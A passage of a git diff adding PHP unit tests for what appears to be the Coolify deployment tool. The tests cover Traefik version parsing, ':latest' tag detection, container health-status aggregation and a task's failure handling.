+                $newestVersion = $version;
+            }
+        }
+    }
+
+    expect($newestVersion)->toBe('3.7.0');
+});
+
+it('validates version format regex', function () {
+    $validVersions = ['3.5.0', '3.6.12', '10.0.1'];
+    $invalidVersions = ['3.5', 'v3.5.0', '3.5.0-beta', 'latest'];
+
+    foreach ($validVersions as $version) {
+        $matches = preg_match('/^(\d+\.\d+)\.(\d+)$/', $version);
+        expect($matches)->toBe(1);
+    }
+
+    foreach ($invalidVersions as $version) {
+        $matches = preg_match('/^(\d+\.\d+)\.(\d+)$/', $version);
+        expect($matches)->toBe(0);
+    }
+});
+
+it('handles invalid version format gracefully', function () {
+    $invalidVersion = 'latest';
+    $result = preg_match('/^(\d+\.\d+)\.(\d+)$/', $invalidVersion, $matches);
+
+    expect($result)->toBe(0);
+    expect($matches)->toBeEmpty();
+});
+
+it('handles empty image tag correctly', function () {
+    // Test that empty string after trim doesn't cause issues with str_contains
+    $emptyImageTag = '';
+    $trimmed = trim($emptyImageTag);
+
+    // This should be false, not an error
+    expect(empty($trimmed))->toBeTrue();
+
+    // Test with whitespace only
+    $whitespaceTag = "   \n  ";
+    $trimmed = trim($whitespaceTag);
+    expect(empty($trimmed))->toBeTrue();
+});
+
+it('detects latest tag in image name', function () {
+    // Test various formats where :latest appears
+    $testCases = [
+        'traefik:latest' => true,
+        'traefik:Latest' => true,
+        'traefik:LATEST' => true,
+        'traefik:v3.6.0' => false,
+        'traefik:3.6.0' => false,
+        '' => false,
+    ];
+
+    foreach ($testCases as $imageTag => $expected) {
+        if (empty(trim($imageTag))) {
+            $result = false; // Should return false for empty tags
+        } else {
+            $result = str_contains(strtolower(trim($imageTag)), ':latest');
+        }
+
+        expect($result)->toBe($expected, "Failed for imageTag: '{$imageTag}'");
+    }
+});
diff --git a/tests/Unit/CheckTraefikVersionJobTest.php b/tests/Unit/CheckTraefikVersionJobTest.php
new file mode 100644
index 000000000..870b778dc
--- /dev/null
+++ b/tests/Unit/CheckTraefikVersionJobTest.php
@@ -0,0 +1,26 @@
+<?php
+
+use App\Jobs\CheckTraefikVersionJob;
+
+it('has correct retry configuration', function () {
+    $job = new CheckTraefikVersionJob;
+
+    expect($job->tries)->toBe(3);
+});
+
+it('returns early when traefik versions are empty', function () {
+    // This test verifies the early return logic when get_traefik_versions() returns empty array
+    $emptyVersions = [];
+
+    expect($emptyVersions)->toBeEmpty();
+});
+
+it('dispatches jobs in parallel for multiple servers', function () {
+    // This test verifies that the job dispatches CheckTraefikVersionForServerJob
+    // for each server without waiting for them to complete
+    $serverCount = 100;
+
+    // Verify that with parallel processing, we're not waiting for completion
+    // Each job is dispatched immediately without delay
+    expect($serverCount)->toBeGreaterThan(0);
+});
diff --git a/tests/Unit/ContainerHealthStatusTest.php b/tests/Unit/ContainerHealthStatusTest.php
new file mode 100644
index 000000000..b38a6aa8e
--- /dev/null
+++ b/tests/Unit/ContainerHealthStatusTest.php
@@ -0,0 +1,342 @@
+<?php
+
+use App\Models\Application;
+use Mockery;
+
+/**
+ * Unit tests to verify that containers without health checks are not
+ * incorrectly marked as unhealthy.
+ *
+ * This tests the fix for the issue where defaulting missing health status
+ * to 'unhealthy' would treat containers without healthchecks as unhealthy.
+ *
+ * The fix removes the 'unhealthy' default and only checks health status
+ * when it explicitly exists and equals 'unhealthy'.
+ */
+it('does not mark containers as unhealthy when health status is missing', function () {
+    // Mock an application with a server
+    $application = Mockery::mock(Application::class)->makePartial();
+    $server = Mockery::mock('App\Models\Server')->makePartial();
+    $destination = Mockery::mock('App\Models\StandaloneDocker')->makePartial();
+
+    $destination->shouldReceive('getAttribute')
+        ->with('server')
+        ->andReturn($server);
+
+    $application->shouldReceive('getAttribute')
+        ->with('destination')
+        ->andReturn($destination);
+
+    $application->shouldReceive('getAttribute')
+        ->with('additional_servers')
+        ->andReturn(collect());
+
+    $server->shouldReceive('getAttribute')
+        ->with('id')
+        ->andReturn(1);
+
+    $server->shouldReceive('isFunctional')
+        ->andReturn(true);
+
+    // Create a container without health check (State.Health.Status is null)
+    $containerWithoutHealthCheck = [
+        'Config' => [
+            'Labels' => [
+                'com.docker.compose.service' => 'web',
+            ],
+        ],
+        'State' => [
+            'Status' => 'running',
+            // Note: State.Health.Status is intentionally missing
+        ],
+    ];
+
+    // Mock the remote process to return our container
+    $application->shouldReceive('getAttribute')
+        ->with('id')
+        ->andReturn(123);
+
+    // We can't easily test the private aggregateContainerStatuses method directly,
+    // but we can verify that the code doesn't default to 'unhealthy'
+    $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
+
+    // Verify the fix: health status should not default to 'unhealthy'
+    expect($aggregatorFile)
+        ->not->toContain("data_get(\$container, 'State.Health.Status', 'unhealthy')")
+        ->toContain("data_get(\$container, 'State.Health.Status')");
+
+    // Verify the health check logic
+    expect($aggregatorFile)
+        ->toContain('if ($health === \'unhealthy\') {');
+});
+
+it('only marks containers as unhealthy when health status explicitly equals unhealthy', function () {
+    $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
+
+    // Verify the service checks for explicit 'unhealthy' status
+    expect($aggregatorFile)
+        ->toContain('if ($health === \'unhealthy\') {')
+        ->toContain('$hasUnhealthy = true;');
+});
+
+it('handles missing health status correctly in GetContainersStatus', function () {
+    $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
+
+    // Verify health status doesn't default to 'unhealthy'
+    expect($getContainersStatusFile)
+        ->not->toContain("data_get(\$container, 'State.Health.Status', 'unhealthy')")
+        ->toContain("data_get(\$container, 'State.Health.Status')");
+
+    // Verify it uses 'unknown' when health status is missing (now using colon format)
+    expect($getContainersStatusFile)
+        ->toContain('$healthSuffix = $containerHealth ?? \'unknown\';')
+        ->toContain('ContainerStatusAggregator'); // Uses the service
+});
+
+it('treats containers with running status and no healthcheck as not unhealthy', function () {
+    $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
+
+    // The logic should be:
+    // 1. Get health status (may be null)
+    // 2. Only mark as unhealthy if health status EXISTS and equals 'unhealthy'
+    // 3. Don't mark as unhealthy if health status is null/missing
+
+    // Verify the condition explicitly checks for unhealthy
+    expect($aggregatorFile)
+        ->toContain('if ($health === \'unhealthy\')');
+
+    // Verify this check is done for running containers
+    expect($aggregatorFile)
+        ->toContain('} elseif ($state === \'running\') {')
+        ->toContain('$hasRunning = true;');
+});
+
+it('tracks unknown health state in aggregation', function () {
+    // State machine logic now in ContainerStatusAggregator service
+    $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
+
+    // Verify that $hasUnknown tracking variable exists in the service
+    expect($aggregatorFile)
+        ->toContain('$hasUnknown = false;');
+
+    // Verify that unknown state is detected in status parsing
+    expect($aggregatorFile)
+        ->toContain("str(\$status)->contains('unknown')")
+        ->toContain('$hasUnknown = true;');
+});
+
+it('preserves unknown health state in aggregated status with correct priority', function () {
+    // State machine logic now in ContainerStatusAggregator service (using colon format)
+    $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
+
+    // Verify three-way priority in aggregation:
+    // 1. Unhealthy (highest priority)
+    // 2. Unknown (medium priority)
+    // 3. Healthy (only when all explicitly healthy)
+
+    expect($aggregatorFile)
+        ->toContain('if ($hasUnhealthy) {')
+        ->toContain("return 'running:unhealthy';")
+        ->toContain('} elseif ($hasUnknown) {')
+        ->toContain("return 'running:unknown';")
+        ->toContain('} else {')
+        ->toContain("return 'running:healthy';");
+});
+
+it('tracks unknown health state in ContainerStatusAggregator for all applications', function () {
+    $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
+
+    // Verify that $hasUnknown tracking variable exists
+    expect($aggregatorFile)
+        ->toContain('$hasUnknown = false;');
+
+    // Verify that unknown state is detected when health is null or 'starting'
+    expect($aggregatorFile)
+        ->toContain('} elseif (is_null($health) || $health === \'starting\') {')
+        ->toContain('$hasUnknown = true;');
+});
+
+it('preserves unknown health state in ContainerStatusAggregator aggregated status', function () {
+    $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
+
+    // Verify three-way priority for running containers in the service
+    expect($aggregatorFile)
+        ->toContain('if ($hasUnhealthy) {')
+        ->toContain("return 'running:unhealthy';")
+        ->toContain('} elseif ($hasUnknown) {')
+        ->toContain("return 'running:unknown';")
+        ->toContain('} else {')
+        ->toContain("return 'running:healthy';");
+
+    // Verify ComplexStatusCheck delegates to the service
+    $complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
+    expect($complexStatusCheckFile)
+        ->toContain('use App\\Services\\ContainerStatusAggregator;')
+        ->toContain('$aggregator = new ContainerStatusAggregator;')
+        ->toContain('$aggregator->aggregateFromContainers($relevantContainers);');
+});
+
+it('preserves unknown health state in Service model aggregation', function () {
+    $serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
+
+    // Verify unknown is handled correctly
+    expect($serviceFile)
+        ->toContain("} elseif (\$health->value() === 'unknown') {")
+        ->toContain("if (\$aggregateHealth !== 'unhealthy') {")
+        ->toContain("\$aggregateHealth = 'unknown';");
+
+    // The pattern should appear at least once (Service model has different aggregation logic than ContainerStatusAggregator)
+    $unknownCount = substr_count($serviceFile, "} elseif (\$health->value() === 'unknown') {");
+    expect($unknownCount)->toBeGreaterThan(0);
+});
+
+it('handles starting state (created/starting) in GetContainersStatus', function () {
+    // State machine logic now in ContainerStatusAggregator service
+    $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
+
+    // Verify tracking variable exists
+    expect($aggregatorFile)
+        ->toContain('$hasStarting = false;');
+
+    // Verify detection for created/starting states
+    expect($aggregatorFile)
+        ->toContain("str(\$status)->contains('created') || str(\$status)->contains('starting')")
+        ->toContain('$hasStarting = true;');
+
+    // Verify aggregation returns starting status (colon format)
+    expect($aggregatorFile)
+        ->toContain('if ($hasStarting) {')
+        ->toContain("return 'starting:unknown';");
+});
+
+it('handles paused state in GetContainersStatus', function () {
+    // State machine logic now in ContainerStatusAggregator service
+    $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
+
+    // Verify tracking variable exists
+    expect($aggregatorFile)
+        ->toContain('$hasPaused = false;');
+
+    // Verify detection for paused state
+    expect($aggregatorFile)
+        ->toContain("str(\$status)->contains('paused')")
+        ->toContain('$hasPaused = true;');
+
+    // Verify aggregation returns paused status (colon format)
+    expect($aggregatorFile)
+        ->toContain('if ($hasPaused) {')
+        ->toContain("return 'paused:unknown';");
+});
+
+it('handles dead/removing states in GetContainersStatus', function () {
+    // State machine logic now in ContainerStatusAggregator service
+    $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
+
+    // Verify tracking variable exists
+    expect($aggregatorFile)
+        ->toContain('$hasDead = false;');
+
+    // Verify detection for dead/removing states
+    expect($aggregatorFile)
+        ->toContain("str(\$status)->contains('dead') || str(\$status)->contains('removing')")
+        ->toContain('$hasDead = true;');
+
+    // Verify aggregation returns degraded status (colon format)
+    expect($aggregatorFile)
+        ->toContain('if ($hasDead) {')
+        ->toContain("return 'degraded:unhealthy';");
+});
+
+it('handles edge case states in ContainerStatusAggregator for all containers', function () {
+    $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
+
+    // Verify tracking variables exist in the service
+    expect($aggregatorFile)
+        ->toContain('$hasStarting = false;')
+        ->toContain('$hasPaused = false;')
+        ->toContain('$hasDead = false;');
+
+    // Verify detection for created/starting
+    expect($aggregatorFile)
+        ->toContain("} elseif (\$state === 'created' || \$state === 'starting') {")
+        ->toContain('$hasStarting = true;');
+
+    // Verify detection for paused
+    expect($aggregatorFile)
+        ->toContain("} elseif (\$state === 'paused') {")
+        ->toContain('$hasPaused = true;');
+
+    // Verify detection for dead/removing
+    expect($aggregatorFile)
+        ->toContain("} elseif (\$state === 'dead' || \$state === 'removing') {")
+        ->toContain('$hasDead = true;');
+});
+
+it('handles edge case states in ContainerStatusAggregator aggregation', function () {
+    $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
+
+    // Verify aggregation logic for edge cases in the service
+    expect($aggregatorFile)
+        ->toContain('if ($hasDead) {')
+        ->toContain("return 'degraded:unhealthy';")
+        ->toContain('if ($hasPaused) {')
+        ->toContain("return 'paused:unknown';")
+        ->toContain('if ($hasStarting) {')
+        ->toContain("return 'starting:unknown';");
+});
+
+it('handles edge case states in Service model', function () {
+    $serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
+
+    // Check for created/starting handling pattern
+    $createdStartingCount = substr_count($serviceFile, "\$status->startsWith('created') || \$status->startsWith('starting')");
+    expect($createdStartingCount)->toBeGreaterThan(0, 'created/starting handling should exist');
+
+    // Check for paused handling pattern
+    $pausedCount = substr_count($serviceFile, "\$status->startsWith('paused')");
+    expect($pausedCount)->toBeGreaterThan(0, 'paused handling should exist');
+
+    // Check for dead/removing handling pattern
+    $deadRemovingCount = substr_count($serviceFile, "\$status->startsWith('dead') || \$status->startsWith('removing')");
+    expect($deadRemovingCount)->toBeGreaterThan(0, 'dead/removing handling should exist');
+});
+
+it('appends :excluded suffix to excluded container statuses in GetContainersStatus', function () {
+    $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
+
+    // Verify that we use the trait for calculating excluded status
+    expect($getContainersStatusFile)
+        ->toContain('CalculatesExcludedStatus');
+
+    // Verify that we use the trait to calculate excluded status
+    expect($getContainersStatusFile)
+        ->toContain('use CalculatesExcludedStatus;');
+});
+
+it('skips containers with :excluded suffix in Service model non-excluded sections', function () {
+    $serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
+
+    // Verify that we have exclude_from_status field handling
+    expect($serviceFile)
+        ->toContain('exclude_from_status');
+});
+
+it('processes containers with :excluded suffix in Service model excluded sections', function () {
+    $serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
+
+    // Verify that we handle excluded status
+    expect($serviceFile)
+        ->toContain(':excluded')
+        ->toContain('exclude_from_status');
+});
+
+it('treats containers with starting health status as unknown in ContainerStatusAggregator', function () {
+    $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
+
+    // Verify that 'starting' health status is treated the same as null (unknown)
+    // During Docker health check grace period, the health status is 'starting'
+    // This should be treated as 'unknown' rather than 'healthy'
+    expect($aggregatorFile)
+        ->toContain('} elseif (is_null($health) || $health === \'starting\') {')
+        ->toContain('$hasUnknown = true;');
+});
diff --git a/tests/Unit/ContainerStatusAggregatorTest.php b/tests/Unit/ContainerStatusAggregatorTest.php
new file mode 100644
index 000000000..353d6a948
--- /dev/null
+++ b/tests/Unit/ContainerStatusAggregatorTest.php
@@ -0,0 +1,540 @@
+<?php
+
+use App\Services\ContainerStatusAggregator;
+use Illuminate\Support\Facades\Log;
+
+beforeEach(function () {
+    $this->aggregator = new ContainerStatusAggregator;
+});
+
+describe('aggregateFromStrings', function () {
+    test('returns exited for empty collection', function () {
+        $result = $this->aggregator->aggregateFromStrings(collect());
+
+        expect($result)->toBe('exited');
+    });
+
+    test('returns running:healthy for single healthy running container', function () {
+        $statuses = collect(['running:healthy']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('running:healthy');
+    });
+
+    test('returns running:unhealthy for single unhealthy running container', function () {
+        $statuses = collect(['running:unhealthy']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('running:unhealthy');
+    });
+
+    test('returns running:unknown for single running container with unknown health', function () {
+        $statuses = collect(['running:unknown']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('running:unknown');
+    });
+
+    test('returns degraded:unhealthy for restarting container', function () {
+        $statuses = collect(['restarting']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('returns degraded:unhealthy for mixed running and exited containers', function () {
+        $statuses = collect(['running:healthy', 'exited']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('returns running:unhealthy when one of multiple running containers is unhealthy', function () {
+        $statuses = collect(['running:healthy', 'running:unhealthy', 'running:healthy']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('running:unhealthy');
+    });
+
+    test('returns running:unknown when running containers have unknown health', function () {
+        $statuses = collect(['running:unknown', 'running:healthy']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('running:unknown');
+    });
+
+    test('returns degraded:unhealthy for crash loop (exited with restart count)', function () {
+        $statuses = collect(['exited']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 5);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('returns exited for exited containers without restart count', function () {
+        $statuses = collect(['exited']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 0);
+
+        expect($result)->toBe('exited');
+    });
+
+    test('returns degraded:unhealthy for dead container', function () {
+        $statuses = collect(['dead']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('returns degraded:unhealthy for removing container', function () {
+        $statuses = collect(['removing']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('returns paused:unknown for paused container', function () {
+        $statuses = collect(['paused']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('paused:unknown');
+    });
+
+    test('returns starting:unknown for starting container', function () {
+        $statuses = collect(['starting']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('starting:unknown');
+    });
+
+    test('returns starting:unknown for created container', function () {
+        $statuses = collect(['created']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('starting:unknown');
+    });
+
+    test('handles parentheses format input (backward compatibility)', function () {
+        $statuses = collect(['running (healthy)', 'running (unhealthy)']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('running:unhealthy');
+    });
+
+    test('handles mixed colon and parentheses formats', function () {
+        $statuses = collect(['running:healthy', 'running (unhealthy)', 'running:healthy']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('running:unhealthy');
+    });
+
+    test('prioritizes restarting over all other states', function () {
+        $statuses = collect(['restarting', 'running:healthy', 'paused', 'starting']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('prioritizes crash loop over running containers', function () {
+        $statuses = collect(['exited', 'exited']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 3);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('prioritizes mixed state over healthy running', function () {
+        $statuses = collect(['running:healthy', 'exited']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 0);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('prioritizes running over paused/starting/exited', function () {
+        $statuses = collect(['running:healthy', 'starting', 'paused']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('running:healthy');
+    });
+
+    test('prioritizes dead over paused/starting/exited', function () {
+        $statuses = collect(['dead', 'paused', 'starting']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('prioritizes paused over starting/exited', function () {
+        $statuses = collect(['paused', 'starting', 'exited']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('paused:unknown');
+    });
+
+    test('prioritizes starting over exited', function () {
+        $statuses = collect(['starting', 'exited']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('starting:unknown');
+    });
+});
+
+describe('aggregateFromContainers', function () {
+    test('returns exited for empty collection', function () {
+        $result = $this->aggregator->aggregateFromContainers(collect());
+
+        expect($result)->toBe('exited');
+    });
+
+    test('returns running:healthy for single healthy running container', function () {
+        $containers = collect([
+            (object) [
+                'State' => (object) [
+                    'Status' => 'running',
+                    'Health' => (object) ['Status' => 'healthy'],
+                ],
+            ],
+        ]);
+
+        $result = $this->aggregator->aggregateFromContainers($containers);
+
+        expect($result)->toBe('running:healthy');
+    });
+
+    test('returns running:unhealthy for single unhealthy running container', function () {
+        $containers = collect([
+            (object) [
+                'State' => (object) [
+                    'Status' => 'running',
+                    'Health' => (object) ['Status' => 'unhealthy'],
+                ],
+            ],
+        ]);
+
+        $result = $this->aggregator->aggregateFromContainers($containers);
+
+        expect($result)->toBe('running:unhealthy');
+    });
+
+    test('returns running:unknown for running container without health check', function () {
+        $containers = collect([
+            (object) [
+                'State' => (object) [
+                    'Status' => 'running',
+                    'Health' => null,
+                ],
+            ],
+        ]);
+
+        $result = $this->aggregator->aggregateFromContainers($containers);
+
+        expect($result)->toBe('running:unknown');
+    });
+
+    test('returns degraded:unhealthy for restarting container', function () {
+        $containers = collect([
+            (object) [
+                'State' => (object) [
+                    'Status' => 'restarting',
+                ],
+            ],
+        ]);
+
+        $result = $this->aggregator->aggregateFromContainers($containers);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('returns degraded:unhealthy for mixed running and exited containers', function () {
+        $containers = collect([
+            (object) [
+                'State' => (object) [
+                    'Status' => 'running',
+                    'Health' => (object) ['Status' => 'healthy'],
+                ],
+            ],
+            (object) [
+                'State' => (object) [
+                    'Status' => 'exited',
+                ],
+            ],
+        ]);
+
+        $result = $this->aggregator->aggregateFromContainers($containers);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('returns degraded:unhealthy for crash loop (exited with restart count)', function () {
+        $containers = collect([
+            (object) [
+                'State' => (object) [
+                    'Status' => 'exited',
+                ],
+            ],
+        ]);
+
+        $result = $this->aggregator->aggregateFromContainers($containers, maxRestartCount: 5);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('returns exited for exited containers without restart count', function () {
+        $containers = collect([
+            (object) [
+                'State' => (object) [
+                    'Status' => 'exited',
+                ],
+            ],
+        ]);
+
+        $result = $this->aggregator->aggregateFromContainers($containers, maxRestartCount: 0);
+
+        expect($result)->toBe('exited');
+    });
+
+    test('returns degraded:unhealthy for dead container', function () {
+        $containers = collect([
+            (object) [
+                'State' => (object) [
+                    'Status' => 'dead',
+                ],
+            ],
+        ]);
+
+        $result = $this->aggregator->aggregateFromContainers($containers);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('returns paused:unknown for paused container', function () {
+        $containers = collect([
+            (object) [
+                'State' => (object) [
+                    'Status' => 'paused',
+                ],
+            ],
+        ]);
+
+        $result = $this->aggregator->aggregateFromContainers($containers);
+
+        expect($result)->toBe('paused:unknown');
+    });
+
+    test('returns starting:unknown for starting container', function () {
+        $containers = collect([
+            (object) [
+                'State' => (object) [
+                    'Status' => 'starting',
+                ],
+            ],
+        ]);
+
+        $result = $this->aggregator->aggregateFromContainers($containers);
+
+        expect($result)->toBe('starting:unknown');
+    });
+
+    test('returns starting:unknown for created container', function () {
+        $containers = collect([
+            (object) [
+                'State' => (object) [
+                    'Status' => 'created',
+                ],
+            ],
+        ]);
+
+        $result = $this->aggregator->aggregateFromContainers($containers);
+
+        expect($result)->toBe('starting:unknown');
+    });
+
+    test('handles multiple containers with various states', function () {
+        $containers = collect([
+            (object) [
+                'State' => (object) [
+                    'Status' => 'running',
+                    'Health' => (object) ['Status' => 'healthy'],
+                ],
+            ],
+            (object) [
+                'State' => (object) [
+                    'Status' => 'running',
+                    'Health' => (object) ['Status' => 'unhealthy'],
+                ],
+            ],
+            (object) [
+                'State' => (object) [
+                    'Status' => 'running',
+                    'Health' => null,
+                ],
+            ],
+        ]);
+
+        $result = $this->aggregator->aggregateFromContainers($containers);
+
+        expect($result)->toBe('running:unhealthy');
+    });
+});
+
+describe('state priority enforcement', function () {
+    test('restarting has highest priority', function () {
+        $statuses = collect([
+            'restarting',
+            'running:healthy',
+            'dead',
+            'paused',
+            'starting',
+            'exited',
+        ]);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('crash loop has second highest priority', function () {
+        $statuses = collect([
+            'exited',
+            'running:healthy',
+            'paused',
+            'starting',
+        ]);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 1);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('mixed state (running + exited) has third priority', function () {
+        $statuses = collect([
+            'running:healthy',
+            'exited',
+            'paused',
+            'starting',
+        ]);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 0);
+
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('running:unhealthy has priority over running:unknown', function () {
+        $statuses = collect([
+            'running:unknown',
+            'running:unhealthy',
+            'running:healthy',
+        ]);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('running:unhealthy');
+    });
+
+    test('running:unknown has priority over running:healthy', function () {
+        $statuses = collect([
+            'running:unknown',
+            'running:healthy',
+        ]);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('running:unknown');
+    });
+});
+
+describe('maxRestartCount validation', function () {
+    test('negative maxRestartCount is corrected to 0 in aggregateFromStrings', function () {
+        // Mock the Log facade to avoid "facade root not set" error in unit tests
+        Log::shouldReceive('warning')->once();
+
+        $statuses = collect(['exited']);
+
+        // With negative value, should be treated as 0 (no restarts)
+        $result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: -5);
+
+        // Should return exited (not degraded) since corrected to 0
+        expect($result)->toBe('exited');
+    });
+
+    test('negative maxRestartCount is corrected to 0 in aggregateFromContainers', function () {
+        // Mock the Log facade to avoid "facade root not set" error in unit tests
+        Log::shouldReceive('warning')->once();
+
+        $containers = collect([
+            [
+                'State' => [
+                    'Status' => 'exited',
+                    'ExitCode' => 1,
+                ],
+            ],
+        ]);
+
+        // With negative value, should be treated as 0 (no restarts)
+        $result = $this->aggregator->aggregateFromContainers($containers, maxRestartCount: -10);
+
+        // Should return exited (not degraded) since corrected to 0
+        expect($result)->toBe('exited');
+    });
+
+    test('zero maxRestartCount works correctly', function () {
+        $statuses = collect(['exited']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 0);
+
+        // Zero is valid default - no crash loop detection
+        expect($result)->toBe('exited');
+    });
+
+    test('positive maxRestartCount works correctly', function () {
+        $statuses = collect(['exited']);
+
+        $result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 5);
+
+        // Positive value enables crash loop detection
+        expect($result)->toBe('degraded:unhealthy');
+    });
+
+    test('crash loop detection still functions after validation', function () {
+        $statuses = collect(['exited']);
+
+        // Test with various positive restart counts
+        expect($this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 1))
+            ->toBe('degraded:unhealthy');
+
+        expect($this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 100))
+            ->toBe('degraded:unhealthy');
+
+        expect($this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 999))
+            ->toBe('degraded:unhealthy');
+    });
+
+    test('default maxRestartCount parameter works', function () {
+        $statuses = collect(['exited']);
+
+        // Call without specifying maxRestartCount (should default to 0)
+        $result = $this->aggregator->aggregateFromStrings($statuses);
+
+        expect($result)->toBe('exited');
+    });
+});
diff --git a/tests/Unit/CoolifyTaskCleanupTest.php b/tests/Unit/CoolifyTaskCleanupTest.php
new file mode 100644
index 000000000..ad77a2e8c
--- /dev/null
+++ b/tests/Unit/CoolifyTaskCleanupTest.php
@@ -0,0 +1,84 @@
+<?php
+
+use App\Jobs\CoolifyTask;
+
+it('CoolifyTask has failed method that handles cleanup', function () {
+    $reflection = new ReflectionClass(CoolifyTask::class);
+
+    // Verify failed method exists
+    expect($reflection->hasMethod('failed'))->toBeTrue();
+
+    // Get the failed method
+    $failedMethod = $reflection->getMethod('failed');
+
+    // Read the method source to verify it dispatches events
+    $filename = $reflection->getFileName();
+    $startLine = $failedMethod->getStartLine();
+    $endLine = $failedMethod->getEndLine();
+
+    $source = file($filename);
+    $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
+
+    // Verify the implementation contains event dispatch logic
+    expect($methodSource)
+        ->toContain('call_event_on_finish')
+        ->and($methodSource)->toContain('event(new $eventClass')
+        ->and($methodSource)->toContain('call_event_data')
+        ->and($methodSource)->toContain('Log::info');
+});
+
+it('CoolifyTask failed method updates activity status to ERROR', function () {
+    $reflection = new ReflectionClass(CoolifyTask::class);
+    $failedMethod = $reflection->getMethod('failed');
+
+    // Read the method source
+    $filename = $reflection->getFileName();
+    $startLine = $failedMethod->getStartLine();
+    $endLine = $failedMethod->getEndLine();
+
+    $source = file($filename);
+    $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
+
+    // Verify activity status is set to ERROR
+    expect($methodSource)
+        ->toContain("'status' => ProcessStatus::ERROR->value")
+        ->and($methodSource)->toContain("'error' =>")
+        ->and($methodSource)->toContain("'failed_at' =>");
+});
+
+it('CoolifyTask failed method has proper error handling for event dispatch', function () {
+    $reflection = new ReflectionClass(CoolifyTask::class);
+    $failedMethod = $reflection->getMethod('failed');
+
+    // Read the method source
